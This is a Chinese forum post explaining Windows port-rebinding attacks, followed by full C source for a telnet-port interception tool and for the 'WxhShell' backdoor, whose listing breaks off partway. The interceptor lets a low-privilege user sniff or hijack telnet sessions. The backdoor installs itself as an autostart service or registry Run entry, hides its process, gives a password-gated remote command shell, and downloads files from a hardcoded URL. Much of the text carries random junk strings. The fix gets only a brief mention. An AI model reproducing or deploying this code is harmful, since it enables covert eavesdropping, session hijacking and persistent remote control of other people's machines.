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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: <{b#nPc!,#  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Dh{sVRA  
z9[BQ(9t  
  saddr.sin_family = AF_INET; 5$p7y:  
%.;`0}b  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 5Rec~&v  
{`CmE/`{  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); \%011I4  
qT+:oMrTSm  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 60&4?<lR4  
- d(RK_  
  这意味着什么?意味着可以进行如下的攻击: oN6 '%   
![#>{Q4i  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 t|y`Bl2  
orzy &4  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) b".e6zev  
M]$_>&"  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 0"to]=  
"vG~2J  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  vD*9b.*  
' Zmslijf  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 X6g{qzHg_  
\a}W{e=FNT  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 zV8^Hxl  
>k{KwFB^S  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 17{$D ,P  
&;O)Dw  
  #include 96$qH{]Ap  
  #include =-U8^e_Y  
  #include Y"&1jud4xl  
  #include    9:tn! <^=I  
  DWORD WINAPI ClientThread(LPVOID lpParam);   3\jcq@N  
  int main() 4]$$ar)  
  { 0cBk/x^s  
  WORD wVersionRequested; ?pJUbZ#J  
  DWORD ret; 8S_v} NUm  
  WSADATA wsaData; +`)4jx)r/  
  BOOL val; {a `#O9  
  SOCKADDR_IN saddr; 2'6:fr=R  
  SOCKADDR_IN scaddr; 8P#jC$<  
  int err; TQ\\/e:  
  SOCKET s; y! lEGA7  
  SOCKET sc; R%Y#vUmBV{  
  int caddsize; *?GV(/Q  
  HANDLE mt; M(_1'2  
  DWORD tid;   oI6l`K$  
  wVersionRequested = MAKEWORD( 2, 2 ); ]VU a $$  
  err = WSAStartup( wVersionRequested, &wsaData ); Fl'+ C  
  if ( err != 0 ) { N$i|[>`j  
  printf("error!WSAStartup failed!\n"); (f*0Wp;  
  return -1; +bbhm0f  
  } CI };$4W~  
  saddr.sin_family = AF_INET; oMj;9,WK'  
   f(o1J|U{  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 R} #6  
'[nH] N  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); U%~L){<V[  
  saddr.sin_port = htons(23); k}yUD 0Y  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) V!Q1o!J  
  { 0Q1s JDa.  
  printf("error!socket failed!\n"); ma<+!*|   
  return -1; c88I"5@[bD  
  } 8=%%C:  
  val = TRUE; .Y"H{|]Mnh  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 /5y*ZIq]e  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) '<35XjW  
  { D/$$"AT  
  printf("error!setsockopt failed!\n"); h* to%N  
  return -1; *0 0K3  
  } l$_Yl&!q$  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Ris5) *7  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 zMUifMiAj  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 -|l^- Qf!  
MU; L7^  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) BN?OvQ  
  { u5, \Kz  
  ret=GetLastError(); YuZxKuGy  
  printf("error!bind failed!\n"); h7( R/Rf  
  return -1; MMpGI^x!-X  
  } ItZqLUJ m  
  listen(s,2); YmS}*>oz  
  while(1) Ri}n0}I  
  { W+&w'~M  
  caddsize = sizeof(scaddr); 2\Vzfca  
  //接受连接请求 M mjeFv  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); RE72%w(oM  
  if(sc!=INVALID_SOCKET) 26c,hPIeXY  
  { b`@aiXN)+  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); wX_s./#JJ  
  if(mt==NULL) P+m{hn~%  
  { Hq{i-z+  
  printf("Thread Creat Failed!\n"); w!0`JPu  
  break; VPB,8zb ]  
  } 36<PI'l#~  
  } C>d_a;pX  
  CloseHandle(mt); z8SrZ#mg  
  } /mb?C/CI  
  closesocket(s); ;$Eg4uX  
  WSACleanup(); @w)Vt $+b]  
  return 0; 1CkBfK  
  }   0i[,`>-Av  
  DWORD WINAPI ClientThread(LPVOID lpParam) /e^q>>z  
  { XNwZSW  
  SOCKET ss = (SOCKET)lpParam; .kl _F7  
  SOCKET sc; ]*8K4n G  
  unsigned char buf[4096]; .Y8z3O  
  SOCKADDR_IN saddr; cax]l O  
  long num; 1N#KVvK  
  DWORD val; 8\+Q*7~@i  
  DWORD ret; Jon<?DQj  
  //如果是隐藏端口应用的话,可以在此处加一些判断 e5!LbsJv  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   H]LH~l  
  saddr.sin_family = AF_INET; o<*H!oyP\  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); jpl"KN?X  
  saddr.sin_port = htons(23); H1]An'qz,  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) q;dg,Om  
  { wt;7+  
  printf("error!socket failed!\n"); *CHLs^)   
  return -1; 8y-Sd\0g  
  } +mReWf:o  
  val = 100; 'WEypz  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ;+%(@C51GE  
  { zCvt"!}RRa  
  ret = GetLastError(); s3+^q  
  return -1; .^<4]  
  } ]UR@V;JG  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Pg]&^d&$  
  { 6]=$c<.&  
  ret = GetLastError(); ^:.=S`,^  
  return -1; H\OV7=8  
  } &{): x  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) nu1s  
  { B 4pJg  
  printf("error!socket connect failed!\n"); Voi`OCut  
  closesocket(sc); fdIO'L_  
  closesocket(ss); > .L\>  
  return -1; 1 m)WM,L  
  } JG%y_ Qy?K  
  while(1) ^-, aB  
  { UN7>c0B  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 "r6DZi(^K  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 wI!>IV(5  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ?U~9d"2=  
  num = recv(ss,buf,4096,0); <P)vx  
  if(num>0) K,7IBv,B[  
  send(sc,buf,num,0); /8\gT(@  
  else if(num==0) F;Q8^C0e*c  
  break; tta\.ic  
  num = recv(sc,buf,4096,0); DYJ F6O  
  if(num>0) -r%3"C=m  
  send(ss,buf,num,0); +I$ k_  
  else if(num==0)  FSaCbs(  
  break; VCzmTnD  
  } EgAM,\  
  closesocket(ss); W0 n/B &C  
  closesocket(sc); o ]UG*2  
  return 0 ; |p"P+"#  
  }  ~yQby&s  
P8l x\DA  
`uz15])1<  
========================================================== $9pFRQC'q  
KTV~g@Jf  
下边附上一个代码,,WXhSHELL Yx4TUA$c'  
oMH-mG7:K  
========================================================== :J|t! `  
}%K)R 5C  
#include "stdafx.h" =-XI)JV#  
0{0|M8  
#include <stdio.h>  jpc bW  
#include <string.h> j]uL 9\>  
#include <windows.h> fiuF!<#;6  
#include <winsock2.h> $q_e~+SXT  
#include <winsvc.h> /%w9F  
#include <urlmon.h> ' +6H=Qn  
V) #vvnq  
#pragma comment (lib, "Ws2_32.lib") jmgU'w-s  
#pragma comment (lib, "urlmon.lib") C-Q]f  
>7yOu!l  
#define MAX_USER   100 // 最大客户端连接数 >syQDB  
#define BUF_SOCK   200 // sock buffer HmWU;9Vn+  
#define KEY_BUFF   255 // 输入 buffer h,-8( S  
s8,N9o[.~P  
#define REBOOT     0   // 重启 [42vO  
#define SHUTDOWN   1   // 关机 @D<q=:k  
mJBvhK9%  
#define DEF_PORT   5000 // 监听端口 s68&AB   
%E\&9,  
#define REG_LEN     16   // 注册表键长度 L0\97AF  
#define SVC_LEN     80   // NT服务名长度 0G-M.s}A  
Jx# r  
// 从dll定义API `Zn2Vx  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 9[<,49  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 6#egy|("nF  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 5^"T `,${  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Lq#>N_72W0  
a!Z.ZA  
// wxhshell配置信息 5,3Yt~\m  
struct WSCFG { Ij+ E/V  
  int ws_port;         // 监听端口 ~&>|u5C*@  
  char ws_passstr[REG_LEN]; // 口令 Rj&V~or  
  int ws_autoins;       // 安装标记, 1=yes 0=no g. V6:>,  
  char ws_regname[REG_LEN]; // 注册表键名 )sWC5\  
  char ws_svcname[REG_LEN]; // 服务名 FyZp,uD  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 mTG v*=l  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 n9.` 5BH7/  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ;J"b%~Gn  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 9|Z25_sS  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 1 J3h_z6/  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 gv7(-I  
k)VoDxMKK  
}; k5]M~"  
J&%d(EJM  
// default Wxhshell configuration U%2[,c_  
struct WSCFG wscfg={DEF_PORT, _wa1R+`_  
    "xuhuanlingzhe", H{Zfbb  
    1, a@[y)xa$Z  
    "Wxhshell", C]22 [v4  
    "Wxhshell", x.Sq2rw]V  
            "WxhShell Service", qPJU}(9#B  
    "Wrsky Windows CmdShell Service", y:TLGQ0  
    "Please Input Your Password: ", JTH8vk:@  
  1, 1BQB8i-,  
  "http://www.wrsky.com/wxhshell.exe", J|k~e,C  
  "Wxhshell.exe" jOuz-1x,&  
    }; }R.<\  
zLQplw`#  
// 消息定义模块 F<'@T,LVc  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; sq6|J])GgU  
char *msg_ws_prompt="\n\r? for help\n\r#>"; TCW[;d  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; m791w8Vr  
char *msg_ws_ext="\n\rExit."; Hu"?wZj  
char *msg_ws_end="\n\rQuit."; 2Z3c`/k  
char *msg_ws_boot="\n\rReboot..."; _7?LINF9  
char *msg_ws_poff="\n\rShutdown..."; &yFt@g]  
char *msg_ws_down="\n\rSave to "; ~(2G7x)  
DL&\iR  
char *msg_ws_err="\n\rErr!"; 9v_B$F$_T  
char *msg_ws_ok="\n\rOK!"; 0E9LZOw4T  
Mz}yf5{f  
char ExeFile[MAX_PATH]; XWQp-H.  
int nUser = 0; joa|5v'  
HANDLE handles[MAX_USER]; : b^\O  
int OsIsNt; HtWuZq; w  
YG<7Zv  
SERVICE_STATUS       serviceStatus; _<?lP$Xr  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; <^}{sdOyu  
VH&6Tm1  
// 函数声明 V,=V   
int Install(void); F<wwuCbF  
int Uninstall(void); &lg+uK  
int DownloadFile(char *sURL, SOCKET wsh); !C&!Wj  
int Boot(int flag); A;~u"g'z&  
void HideProc(void); 52-Gk2dp  
int GetOsVer(void); chE~UQ  
int Wxhshell(SOCKET wsl); h(aF>a\Z  
void TalkWithClient(void *cs); KNtsz[#b  
int CmdShell(SOCKET sock); nK*$P +[R  
int StartFromService(void); l@-J&qG  
int StartWxhshell(LPSTR lpCmdLine); OSc&n>\t  
cnh\K.*}_x  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ]V!q"|  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ~`Q8)(y<#$  
^cO^3=  
// 数据结构和表定义 Q`#Y_N-h+  
SERVICE_TABLE_ENTRY DispatchTable[] = D]nVhOg|  
{ PqMU&H_  
{wscfg.ws_svcname, NTServiceMain}, i*`;/x'+  
{NULL, NULL} w{$t:l)2,  
}; HbWl:yU  
D{~mJDUzK  
// 自我安装 9o7E/wP  
int Install(void) Rn={:u4  
{ jBexEdH  
  char svExeFile[MAX_PATH]; MqXN,n+`k  
  HKEY key; {9wBb`.n^  
  strcpy(svExeFile,ExeFile); #8.%YG  
Snx_NH#tA  
// 如果是win9x系统,修改注册表设为自启动 .VF4?~+M-  
if(!OsIsNt) { m S[Vl6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _aOisN{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Z{/0 P  
  RegCloseKey(key); sMh3IL9(*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { v@bs4E46e  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Ql-RbM  
  RegCloseKey(key); ^Xjh?+WM  
  return 0; OyVdQ".  
    } 1-C 2Y `  
  } KL]@y!QU  
} d, j"8\@  
else { |ToCRM  
A!}Wpw%(/  
// 如果是NT以上系统,安装为系统服务  :~JgB  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); e6{}hiM  
if (schSCManager!=0) 1X\dH<B}  
{ 6yZfV7I  
  SC_HANDLE schService = CreateService Cg NfqT0  
  ( B42.;4"T  
  schSCManager, !$ikH,Bh  
  wscfg.ws_svcname, NNC@?A7  
  wscfg.ws_svcdisp, PE1F3u>O  
  SERVICE_ALL_ACCESS, hz8Y2Ew  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , >/;V_(  
  SERVICE_AUTO_START, N_TWT&o4  
  SERVICE_ERROR_NORMAL, 9kj71Jp&}  
  svExeFile, l%h0x*?$  
  NULL, d)m +Hc.  
  NULL, Y2i:ZP  
  NULL, o@[yF<  
  NULL, OF^v;4u  
  NULL F$Q( 2:w  
  ); F)4Y;;#  
  if (schService!=0) &mj98  
  { {<7!=@j  
  CloseServiceHandle(schService); r (Ab+1b  
  CloseServiceHandle(schSCManager); +o)o4l%3  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); E.kGBA;a?  
  strcat(svExeFile,wscfg.ws_svcname); MH|!tkW>:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ES72yh]  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); FJl#NOp&  
  RegCloseKey(key); _ 1[5~Pnh  
  return 0; nunTTE,iq%  
    } X&sXss<fO%  
  } h%MjVuLn  
  CloseServiceHandle(schSCManager); " SkTVqm  
} ?.#?h>MS{s  
} M{$EJS\d=  
d *ch.((-  
return 1; Gz;.?=&iF  
} -AcLh0pc  
iTi]D2jC  
// 自我卸载 E/@w6uIK[  
int Uninstall(void) F)KUup)gc  
{ CqQ>"Y  
  HKEY key; g+h)s!$sB  
Ndq|Hkd  
if(!OsIsNt) { f Co-ony  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { RYzDF+/  
  RegDeleteValue(key,wscfg.ws_regname); T-pes1Wu  
  RegCloseKey(key); HIP6L,$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 47s<xQy  
  RegDeleteValue(key,wscfg.ws_regname); D. !m*oq  
  RegCloseKey(key); Fi.gf?d  
  return 0; 7(B|NYq  
  } p$^}g:  
} k@nx+fO}P  
} kBYZNjSz  
else { NBzyP)2)  
8:hUj>q x  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ]O2ku^yM  
if (schSCManager!=0) v2R41*z,  
{ ^LgaMmz  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); c%-s_8zvi  
  if (schService!=0) p?S:J`q  
  { >}{'{ Z &  
  if(DeleteService(schService)!=0) { ' O1X+  
  CloseServiceHandle(schService); S'~Zlv 3`  
  CloseServiceHandle(schSCManager); J9J[.6k8  
  return 0; Zp~2WJQ  
  } ;4<CnC**  
  CloseServiceHandle(schService); 3In` !@EJ  
  } 6||zwwk'.  
  CloseServiceHandle(schSCManager); V {R<R2h1  
} WK5~"aw  
} yGl (QLk  
7e$\|~<  
return 1; WS6pm6@A*!  
} -AwR$<q'  
g`~c|bx  
// 从指定url下载文件 - Z?rx5V;t  
int DownloadFile(char *sURL, SOCKET wsh) @a,X{ 0  
{ D )z'FOaI  
  HRESULT hr; <4s$$Uw}6%  
char seps[]= "/"; "5Oi[w&F5  
char *token; K%9PIqK?4  
char *file; X;ef&n`U0  
char myURL[MAX_PATH]; V&4)B &W  
char myFILE[MAX_PATH]; "-JJ6Bk  
F. X{(8  
strcpy(myURL,sURL); zRtaO'G(  
  token=strtok(myURL,seps); fhqc[@Y[  
  while(token!=NULL) Ijq',@jE  
  { V#jFjObTN  
    file=token; D&_Ir>"\  
  token=strtok(NULL,seps); hPtSY'_@_  
  } .um]1_= \  
t{t*.{w  
GetCurrentDirectory(MAX_PATH,myFILE); i-!Z/,oL  
strcat(myFILE, "\\"); |__\Vn  
strcat(myFILE, file); zp[Uh]-dMK  
  send(wsh,myFILE,strlen(myFILE),0); +P,hT  
send(wsh,"...",3,0); Wj2]1A  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); (!kOM% 3{  
  if(hr==S_OK) D-*`b&i48  
return 0; P6w!r>?6N  
else s hjb b  
return 1; 3Gi#WV4$  
A2 r1%}{  
} 9?B}CCE<LR  
[f["9(:  
// 系统电源模块 N'_,VB  
int Boot(int flag) A,-UW+:  
{ ZY-UQ4_|u  
  HANDLE hToken; X8l[B{|  
  TOKEN_PRIVILEGES tkp; {IEc{y7?gO  
NN1d?cOn  
  if(OsIsNt) { l1}=>V1  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); i6wLM-.)  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); $h1`-=\7  
    tkp.PrivilegeCount = 1; !7ct=L  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; +r[u4?  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); bTB/M=M  
if(flag==REBOOT) { 0-#SvTf>;:  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) @? 4-  
  return 0; K~"uZa^s  
} Q#NXJvI  
else { B0I(/ 7  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) [*zB vj}G  
  return 0; HFYN(nz}[  
} mKY}+21!Q  
  } vfAR^*7e  
  else { Arh0m. w  
if(flag==REBOOT) { ],ioY*4G  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) @8X)hpHf  
  return 0; {8D`A;KD  
} I]N?}]uZ  
else { $ ;cZq  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) xVHZZ?e  
  return 0; u 0KVp6`  
} s.z(1MB]  
} '&@'V5}C{  
{J3;4p-&  
return 1; GkqKIs  
} 9:zW$Gt&  
|x*~PXb  
// win9x进程隐藏模块 ` MIZqHM @  
void HideProc(void) :f (UZmV$  
{ bmN'{09@  
dWV.5cViP  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); !mhV$2&r  
  if ( hKernel != NULL ) ,Cx @]]  
  { Wkw.z  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); fT1/@  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); <A?- *  
    FreeLibrary(hKernel); ]5W|^%  
  } +[C(hhk("  
&r s+x<  
return; s0,c4y  
} t|q@~B :  
dH"wYMNL  
// 获取操作系统版本 b^b@W^\hn  
int GetOsVer(void) 0Q>f,}W%>  
{ P)x&9OHV  
  OSVERSIONINFO winfo; qP? V{N  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); @{16j# 'R  
  GetVersionEx(&winfo); 9xL8 ];-  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) M3- bFIt  
  return 1; ${\iHg[vZ  
  else x]o~ %h$  
  return 0; yT<6b)&*&  
} TZ8:3ti  
Y?G9d6]Lk6  
// 客户端句柄模块 _E0XUT!rA  
int Wxhshell(SOCKET wsl) ^PDz"L<*  
{ RGd@3OjN  
  SOCKET wsh; aOZSX3;wg  
  struct sockaddr_in client; {RFpTh7f:  
  DWORD myID; %5<uQc9  
AA[(rw  
  while(nUser<MAX_USER) gZbC[L  
{ apsR26\^  
  int nSize=sizeof(client); I6?n>  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); LbX>@2(&  
  if(wsh==INVALID_SOCKET) return 1; R7%' v Zk  
%Wy$m?gD  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Cx(|ZD^  
if(handles[nUser]==0) " %$jl0i_c  
  closesocket(wsh); B3 fKb#T  
else f5p>oXo4b  
  nUser++; Pi|WOE2  
  } ;"/[gFD5u  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); C+ \c(M a  
K,f*}1$qM  
  return 0; tQz=_;jy  
} 98 dl -?  
t5 :4'%|  
// 关闭 socket n.+%eYM<  
void CloseIt(SOCKET wsh) z8v]Kt&  
{ GZY8%.1{"a  
closesocket(wsh); La&?0PA  
nUser--; I =G3  
ExitThread(0); -Zs.4@GH  
} 6lW\-h`N G  
-|s w\Q  
// 客户端请求句柄 mO];+=3v8  
void TalkWithClient(void *cs) 39 D!e&  
{ Cu*+E%P9`  
SM%N ]/@U  
  SOCKET wsh=(SOCKET)cs; 7wKN  
  char pwd[SVC_LEN]; Wp7lDx  
  char cmd[KEY_BUFF]; 2>%|PQ  
char chr[1]; ?\|QDJXY  
int i,j; ZBw]H'sT  
kg0X2^#b  
  while (nUser < MAX_USER) { @)[Q6w`x  
SrlTwcD  
if(wscfg.ws_passstr) { &>Zm gz  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1< gY  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \<k5c-8Hb  
  //ZeroMemory(pwd,KEY_BUFF); gumT"x .^  
      i=0; QH~;B[->  
  while(i<SVC_LEN) { +fh@m h0[  
c3S}(8g5.  
  // 设置超时 Tp vq5Cz  
  fd_set FdRead; K&T[F!  
  struct timeval TimeOut; wm1`<r^M.  
  FD_ZERO(&FdRead); *`D}voU  
  FD_SET(wsh,&FdRead); IXjFK  
  TimeOut.tv_sec=8; S87E$k  
  TimeOut.tv_usec=0; M8_f{|!&  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 4oxAC; L  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); n1yIQ8F  
Dn x` !  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?w^MnK0U)  
  pwd=chr[0]; c? Z M<Y"  
  if(chr[0]==0xd || chr[0]==0xa) { A kMP)\Q  
  pwd=0; :#_Ne?\a@  
  break; H?]%b!gQG  
  } c5 ^CWk K  
  i++; FM{^ND9x  
    } Ez()W,6]g  
]iI2  
  // 如果是非法用户,关闭 socket f\p#3IwwH  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); }%^N9AA8  
} :%&|5Ytb  
)P13AfK  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); j p"hbV  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \kN?7b^  
d_7v1)j  
while(1) { <'y}y}%  
rdQKzJiX=U  
  ZeroMemory(cmd,KEY_BUFF); 7+(on  
`kE ;V!n?  
      // 自动支持客户端 telnet标准   38<Z=#S  
  j=0; DxM$4  
  while(j<KEY_BUFF) { KM-d8^\:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1>~bzXY#  
  cmd[j]=chr[0]; 0H9UM*O  
  if(chr[0]==0xa || chr[0]==0xd) { G4&vrM,f  
  cmd[j]=0; pL [JGn  
  break; \&!qw[;O  
  } k-V3l  
  j++; &\Ze<u  
    } ]Rk4"i  
` x|=vu-  
  // 下载文件 ;?h+8Z/{  
  if(strstr(cmd,"http://")) { [SKN}:D  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 0Dt-!Q7  
  if(DownloadFile(cmd,wsh)) Ji#eA[  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); o;[?b'\[d  
  else PTS dW~3  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =Ch^;Wyt  
  } 8-|| Nh  
  else { uM"_3je{W2  
DXI{ jalL  
    switch(cmd[0]) { `erKHZ]S  
  C@o8C%o  
  // 帮助 SH1S_EQ<  
  case '?': { z=FOymv C  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 5eLm  
    break; SSQB1c  
  } V|3^H^\5P  
  // 安装 ,=IGqw  
  case 'i': { 7g7[a/Bts  
    if(Install()) GQH15_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M*gbA5  
    else ln1!%B;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v\Y8+dD  
    break; zJ*(G_H  
    } 73p7]Uo  
  // 卸载 ''Y'ZsQ;  
  case 'r': { `R!%k]$  
    if(Uninstall()) L*#W?WMM v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *)Us   
    else 8a8CY,n{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o#K*-jOfiH  
    break; \[9^,Q P  
    } # 4&t09  
  // 显示 wxhshell 所在路径 14pyHMOR  
  case 'p': { vojXo|c  
    char svExeFile[MAX_PATH]; e"(SlR  
    strcpy(svExeFile,"\n\r"); (Q?@LzCjy  
      strcat(svExeFile,ExeFile); y*#YIS56I  
        send(wsh,svExeFile,strlen(svExeFile),0); 71+ bn  
    break; |!q,J  
    } elGwS\sw  
  // 重启 mHyT1e  
  case 'b': { >bFrJz}  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); kXroFLrY  
    if(Boot(REBOOT)) L$z(&%Nx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A\w"!tNM|  
    else { h!mx/Hx  
    closesocket(wsh); ucYweXsO3  
    ExitThread(0); 5 W!#,jz  
    } & [z<p  
    break; WYN0,rv1:+  
    } iLt2L;v>h  
  // 关机 o- v#Zl  
  case 'd': { 7G+E+A5o&  
